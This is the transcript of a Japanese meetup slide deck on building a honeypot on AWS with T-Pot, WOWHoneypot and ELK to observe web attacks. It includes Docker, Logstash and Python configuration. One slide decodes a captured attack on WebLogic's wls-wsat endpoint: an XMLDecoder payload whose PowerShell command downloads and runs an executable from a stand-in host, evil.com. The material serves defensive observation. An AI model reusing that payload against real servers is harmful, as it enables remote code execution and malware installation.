AWS + T-Pot + ELK + WOWHoneypot でWeb攻撃を観察してみよう

2018年6月30日の第4回ハニーポッター技術交流会でLTした資料です。

第4回ハニーポッター技術交流会
https://hanipo-tech.connpass.com/event/90337/

更に細かい解説はこちらから
Amazon EC2(t2.medium)でT-Pot構築(その1)
https://graneed.hatenablog.com/entry/2018/06/10/030525

Transcript

1. AWS + T-Pot + ELK + WOWHoneypot で Web攻撃を 観察してみよう 2018年6月30日 第4回ハニーポット技術交流会 @graneed111
2. 自己紹介 graneed ITエンジニア歴 10年ちょっと セキュリティエンジニア歴 半年 CTFer Twitter: @graneed111 Blog: https://graneed.hatenablog.com/ (こんとろーるしーこんとろーるぶい) 2
3. 本日話すこと 3 １．AWSにT-Potをいれてみよう ２．WOWHoneypotをいれてみよう ３．WOWHoneypotをSSL対応しよう ４．Web攻撃を観察しよう ５．まとめ
4. 300人 ？ 4
6. 20％ ？ 6
8. 8 ハニーポッター 8+5人 申込人数 計62人 =20％
9. 意外にハニーポッター少ない？ https://www.flickr.com/photos/crawleyphoto-artistry/19978113546/ 9
10. ハニポ、やってみませんか？ https://bokete.jp/boke/875633 「できるかな」 　じゃねぇよ。 　やるんだよ。 10
11. AWS + T-Pot + ELK + WOWHoneypot で Web攻撃を 観察してみよう 11
12. 本日話すこと 12 １．AWSにT-Potをいれてみよう ２．WOWHoneypotをいれてみよう ３．WOWHoneypotをSSL対応しよう ４．Web攻撃を観察しよう ５．まとめ
13. https://github.com/dtag-dev-sec/tpotce 13
14. T-Pot アーキテクチャ図 14
15. T-Pot アーキテクチャ図 難しそう・・・ 15
16. T-Pot インストール手順 ./install.sh 16
17. T-Pot インストール手順 ./install.sh 以上 17
18. T-Pot インストール手順 18
19. 自宅に植えたいけど・・・ ◦ 既に主要なポート使っている。 ◦ 24H365Dのサーバ起動はつらい。 ◦ 本当に侵入されたらヤバい。 どの環境に植えるか？ 19
20. ミイラ取りが ミイラに http://gelwtmk2s.blog119.fc2.com/blog-entry-53.html 20
21. そうだ クラウドにしよう 21
22. http://www.itmedia.co.jp/enterprise/articles/1805/17/news110.html クラウドインフラ市場はAWSがトップシェア 22
23. http://www.itmedia.co.jp/enterprise/articles/1805/17/news110.html クラウドインフラ市場はAWSがトップシェア せっかくだから、 俺はこのAWSを 選ぶぜ！ 23
24. AWSアカウントの初期設定 EC2インスタンスタイプの選択 セキュリティグループの設定 チューニング AWS環境構築 24
25. IAMユーザ作成 ◦ AdministratorAccess権限を持つグループを作成し て、グループにユーザ追加 2段階認証 ◦ ルートアカウント、IAMユーザともに設定 請求情報アラート ◦ 想定外のリソース使用時や、 万一の乗っ取られ時に、早めに気付くように AWSアカウントの初期設定 (参考) AWSアカウントを取得したら速攻でやっておくべき初期設定まとめ https://qiita.com/tmknom/items/303db2d1d928db720888 25
26. t2.medium以上が必須 ◦ ELKを動かすので要求スペック高め ◦ リザーブドインスタンスを前提で、 年間40,000円 →まずは通常のオンデマンドで。 なお、AWSの12か月無料利用枠の t2.microでは動作不可 ◦ CPUクレジット使い果たしてstealが発生 EC2インスタンスタイプの選択 26
27. （ご参考）40,000円で買えるもの 27
28. 管理画面とSSHへの接続元IPを限定 ◦ 例えば自宅のIPのみに絞ることを推奨 ◦ 管理画面のポートは64297 ◦ SSHのポートは64295 →T-Potインストーラーが変更している。 攻撃してほしいポートの穴あけ ◦ Honeytrapが全パケットを監視しているため、 64295-64297以外は全て開放。 →特に観測しないなら限定してもよいかも。 セキュリティグループの設定 なお、半年ほどこの設定で運用していますが、 今のところ、特に問題は発生していません✋ 28
29. 各ハニーポットのログ保存期間 ◦ デフォルトのログローテート設定は30日間 ◦ ディスク容量を観察しながら調整 ElasticSearchのデータ保存期間 ◦ デフォルトのデータ保存期間は90日間 ◦ ディスク容量よりCPU使用率の方が問題 →t2.mediumの場合、CPU使用率20%を超えると、 　CPUクレジット消費開始。 →Kibanaの表示がタイムアウトするなど、 　異常を感じたらCPUクレジットを確認。 　自分はデータ保存期間45日間の設定で運用。 チューニング 29
30. 本日話すこと 30 １．AWSにT-Potをいれてみよう ２．WOWHoneypotをいれてみよう ３．WOWHoneypotをSSL対応しよう ４．Web攻撃を観察しよう ５．まとめ
31. GlastopfでHTTP攻撃を観察する T-Potでは、HTTP(80番ポート)への攻撃は Glastopfが受け付けています。 Glastopfのログを確認してみます。 31
32. GlastopfでHTTP攻撃を観察する 32
33. { "_index": "logstash-2018.06.13", "_type": "Glastopf", "_id": "AWP59B7w64waFoBhFges", "_version": 1, "_score": null, "_source": { "ip_rep": "known attacker", "t-pot_hostname": "massshoemaker", "http_uri": "/", "geoip": { "as_org": "Aljeel Aljadeed for Technology", "timezone": "Africa/Tripoli", "ip": "YYY.YYY.YYY.YYY", "latitude": 25, "country_name": "Libya", "country_code2": "LY", "continent_code": "AF", "country_code3": "LY", "location": { "lon": 17, "lat": 25 }, "asn": 37284, "longitude": 17 }, "t-pot_ip_int": "172.31.26.55", "message": "2018-06-13 16:21:55,148 (glastopf.glastopf) YYY.YYY.YYY.YYY requested GET / on cf9f13d55e26:80", "type": "Glastopf", "src_ip": "YYY.YYY.YYY.YYY", "t-pot_ip_ext": "XXX.XXX.XXX.XXX", "path": "/data/glastopf/log/glastopf.log", "@timestamp": "2018-06-13T16:21:55.148Z", "http_method": "GET", "@version": "1", "host": "83bc2b6ed990", "dest_port": 80 }, "fields": { "@timestamp": [ 1528906915148 ] }, "highlight": { "type": [ "@kibana-highlighted-field@Glastopf@/kibana-highlighted-field @" ] }, "sort": [ 1528906915148 ] } GlastopfでHTTP攻撃を観察する GlastopfからElasticSearchへの連携情報 33
34. { "_index": "logstash-2018.06.13", "_type": "Glastopf", "_id": "AWP59B7w64waFoBhFges", "_version": 1, "_score": null, "_source": { "ip_rep": "known attacker", "t-pot_hostname": "massshoemaker", "http_uri": "/", "geoip": { "as_org": "Aljeel Aljadeed for Technology", "timezone": "Africa/Tripoli", "ip": "YYY.YYY.YYY.YYY", "latitude": 25, "country_name": "Libya", "country_code2": "LY", "continent_code": "AF", "country_code3": "LY", "location": { "lon": 17, "lat": 25 }, "asn": 37284, "longitude": 17 }, "t-pot_ip_int": "172.31.26.55", "message": "2018-06-13 16:21:55,148 (glastopf.glastopf) YYY.YYY.YYY.YYY requested GET / on cf9f13d55e26:80", "type": "Glastopf", "src_ip": "YYY.YYY.YYY.YYY", "t-pot_ip_ext": "XXX.XXX.XXX.XXX", "path": "/data/glastopf/log/glastopf.log", "@timestamp": "2018-06-13T16:21:55.148Z", "http_method": "GET", "@version": "1", "host": "83bc2b6ed990", "dest_port": 80 }, "fields": { "@timestamp": [ 1528906915148 ] }, "highlight": { "type": [ "@kibana-highlighted-field@Glastopf@/kibana-highlighted-field @" ] }, "sort": [ 1528906915148 ] } GlastopfでHTTP攻撃を観察する GlastopfからElasticSearchへの連携情報 情報が足りない！ (HTTPヘッダーがない、POSTデータがない。) 34
35. Glastopfで詳細情報を見るには Glastopfは詳細情報をsqliteファイルに保存し ている。中身を見るには、 1. SSHでログイン 2. rootに切り替え 3. /data/glastopf/db/に移動 4. glastopf.db.n.gzを解凍 (nはローテーション数) 5. sqliteコマンドでオープン 6. SQLを作成 7. SQLを実行 8. 4～7を繰り返し 35
36. Glastopfで詳細情報を見るには Glastopfは詳細情報をsqliteファイルに保存し ている。中身を見るには、 1. SSHでログイン 2. rootに切り替え 3. /data/glastopf/db/に移動 4. glastopf.db.n.gzを解凍 (nはローテーション数) 5. sqliteコマンドでオープン 6. SQLを作成 7. SQLを実行 8. 4～7を繰り返し 36 めんどくさい！
37. WOWHoneypot https://github.com/morihisa/WOWHoneypot 37
38. WOWHoneypot用Dockerイメージ作成 glastopfの無効化 ELKへのログ連携 T-Pot環境へWOWHoneypot導入 38
39. WOWHoneypot用Dockerイメージ作成 T-Potは、Dockerを使用して、 各ハニーポットを起動 日次でサーバ再起動とともに、 コンテナを作り直すため、 クリーンな状態を維持 WOWHoneypotも コンテナ化しよう 39
40. WOWHoneypot用Dockerイメージ作成 Dockerfile作成してDockerイメージ生成 FROM ubuntu:latest RUN apt-get update \ && apt-get install -y git python3 \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* RUN git clone https://github.com/morihisa/WOWHoneypot.git /opt/wowhoneypot WORKDIR /opt/wowhoneypot/ CMD ["python3", "wowhoneypot.py"] コンテナ起動定義を追加 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlに定義追加 40
41. glastopfの無効化 コンテナ起動定義を削除 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlから、 glastopfの定義をコメントアウト ewsposterのglastopfログ収集を停止 ◦ ewsposterの定義変更＆Dockerイメージ更新 ◦ 忘れると、syslogにエラーを吐き続け、 1日で10GB埋まった(経験談) 41
42. ELKへのログ連携 Logstashの定義追加＆Dockerイメージ更新 (snip) if [type] == "WOWHoneypot" or [type] == "WOWHoneypotssl" { grok { match => [ "message", '\A\[%{TIMESTAMP_ISO8601:timestamp}\]%{SPACE}%{IP:src_ip}%{SPACE}%{IPORHOST:http.h ostname}:%{NUMBER:dest_port}%{SPACE}"%{WORD:http.http_method}%{SPACE}(?:%{URIPAT HPARAM:http.url}|%{URI:http.url})%{SPACE}%{DATA:http.protocol}"%{SPACE}%{NUMBER:http. http_status}%{SPACE}%{WORD:mrrid}%{SPACE}%{GREEDYDATA:http.request_b64}' ] remove_field => ["port"] } date { match => [ "timestamp", "yyyy-MM-dd HH:mm:ssZ" ] remove_field => ["timestamp"] } ruby { init => "require 'base64'" code => "event.set('http.request', Base64.decode64(event.get('http.request_b64')))" } } (snip) /opt/tpot/docker/elk/logstash/dist/logstash.conf Base64エンコードされたHTTPリクエ スト全体のデータをデコード ログの項目を切り出し ※他、数箇所の追加あり。 42
43. 本日話すこと 43 １．AWSにT-Potをいれてみよう ２．WOWHoneypotをいれてみよう ３．WOWHoneypotをSSL対応しよう ４．Web攻撃を観察しよう ５．まとめ
44. HTTPSトラフィックの割合 https://transparencyreport.google.com/https/overview ウェブ上での HTTPS 暗号化 – Google 透明性レポートより 44
45. HTTPSトラフィックの割合 HTTPSへの攻撃も 観察したい！ ウェブ上での HTTPS 暗号化 – Google 透明性レポートより https://transparencyreport.google.com/https/overview 45
46. SSL対応機能の追加 HTTPS版WOWHoneypot用 Dockerイメージ作成 Dionaeaの443ポートマッピング削除 WOWHoneypotのSSL化 46
47. SSL対応機能の追加 wowhoneypot.py(1/3) (snip) import select import urllib.parse import ssl from http.server import HTTPServer, BaseHTTPRequestHandler from mrr_checker import parse_mrr (snip) ip = "0.0.0.0" port = 8000 hostport = 80 serverheader = "test" artpath = "./art/" (snip) separator = " " ipmasking = False ssl_enable = False certfilepath = "" class WOWHoneypotHTTPServer(HTTPServer): 47
48. SSL対応機能の追加 wowhoneypot.py(2/3) (snip) if "host" in self.headers: if self.headers["host"].find(" ") == -1: hostname = self.headers["host"] else: hostname = self.headers["host"].split(" ")[0] if hostname.find(":") == -1: hostname = hostname + ":" + hostport else: hostname = "blank:" + hostport (snip) else: ipmasking = False if line.startswith("certfilepath"): global ssl_enable,certfilepath ssl_enable = True certfilepath = line.split('=')[1].strip() if line.startswith("hostport"): global hostport hostport = line.split('=')[1].strip() global accesslogfile 48
49. SSL対応機能の追加 wowhoneypot.py(3/3) (snip) logging_system("Hunting: {0}".format(hunt_enable), False, False) logging_system("IP Masking: {0}".format(ipmasking), False, False) logging_system("SSL Enable: {0}".format(ssl_enable), False, False) myServer = WOWHoneypotHTTPServer((ip, port), WOWHoneypotRequestHandler) myServer.timeout = timeout if ssl_enable: myServer.socket = ssl.wrap_socket(myServer.socket, certfile=certfilepath, server_side=True) try: myServer.serve_forever() except KeyboardInterrupt: pass myServer.server_close() [EOF] 49
50. # default port: 8080 port=44333 # default server header: Apache serverheader=Apache (snip) # for GDPR(True: replace source ip address with 0.0.0.0) ipmasking=False # SSL certfile path certfilepath=./server.pem # default host header port: 80 hostport = 443 [EOF] SSL対応機能の追加 config.txt 50
51. HTTPS版WOWHoneypot用Dockerイメージ作成 SSL用のオレオレ証明書作成 $ openssl req -new -x509 -keyout ./server.pem -out ./server.pem -days 365 -nodes 51
52. HTTPS版WOWHoneypot用Dockerイメージ作成 Dockerfile作成してDockerイメージ生成 FROM ubuntu:latest RUN apt-get update \ && apt-get install -y git python3 \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* RUN git clone https://github.com/morihisa/WOWHoneypot.git /opt/wowhoneypot ADD dist/ /root/dist/ RUN mv /root/dist/wowhoneypot.py /opt/wowhoneypot/ && \ mv /root/dist/config.txt /opt/wowhoneypot/ && \ mv /root/dist/server.pem /opt/wowhoneypot/ WORKDIR /opt/wowhoneypot/ CMD ["python3", "wowhoneypot.py"] コンテナ起動定義を追加 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlに定義追加 52 変更したファイルと オレオレ証明書を配備
53. Dionaeaの443ポートマッピング削除 コンテナ起動定義を削除 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlから、 Dionaeaの443ポート定義をコメントアウト 53
54. 本日話すこと 54 １．AWSにT-Potをいれてみよう ２．WOWHoneypotをいれてみよう ３．WOWHoneypotをSSL対応しよう ４．Web攻撃を観察しよう ５．まとめ
55. デモ1. WOWHoneypotへの攻撃観察(1/6) WOWHoneypotに対するHTTP/HTTPSの Web攻撃を観察する準備が整いました。 実際にKibanaのダッシュボードから、 攻撃内容を観察します。 55
56. デモ1. WOWHoneypotへの攻撃観察(2/6) +をクリック 56
57. デモ1. WOWHoneypotへの攻撃観察(3/6) 57
58. デモ1. WOWHoneypotへの攻撃観察(4/6) ピンをクリックしてから、 Discover画面へ。 58
59. デモ1. WOWHoneypotへの攻撃観察(5/6) 三角をクリック 59
60. デモ1. WOWHoneypotへの攻撃観察(6/6) 60
61. デモ2. Honeytrapを利用した流行りの攻撃観察 61
62. デモ2. Honeytrapを利用した流行りの攻撃観察 62 >>> print(binascii.unhexlify("504f535420..(snip)..6c6f70653e")) POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive (snip) <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>powershell (new-object System.Net.WebClient).DownloadFile('http://evil.com/downloader.exe','C:/ Windows/temp/wlanexts.exe');start C:/Windows/temp/wlanexts.exe</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
63. 本日話すこと 63 １．AWSにT-Potをいれてみよう ２．WOWHoneypotをいれてみよう ３．WOWHoneypotをSSL対応しよう ４．Web攻撃を観察しよう ５．まとめ
64. まとめ とりあえずハニポを始めるのは、 クラウド＋T-Potが早いです。 ただし、お金と引き換え！ →ついでに、AWS、Docker、ELKも 　勉強できます！ 慣れたら、観測目的を定めて、 好きなハニーポットを追加しましょう。 64
65. 今後の取り組みテーマ 運用コストの削減 →要求スペックが高いELK環境のみ 　自宅サーバに引っ越し。 定期観測しやすいダッシュボード作り →新規の攻撃だけ表示する等。 複数ポートでWOWHoneypot運用 →WebLogic Serverなどの、 　ミドルウェアの使用ポートも対象に。 65
66. 本日話すこと 66 １．AWSにT-Potをいれてみよう ２．WOWHoneypotをいれてみよう ３．WOWHoneypotをSSL対応しよう ４．Web攻撃を観察しよう ５．まとめ 詳細な手順やコマンドは、ブログに記載しています。 Amazon EC2(t2.medium)でT-Pot構築(その1) https://graneed.hatenablog.com/entry/2018/06/10/030525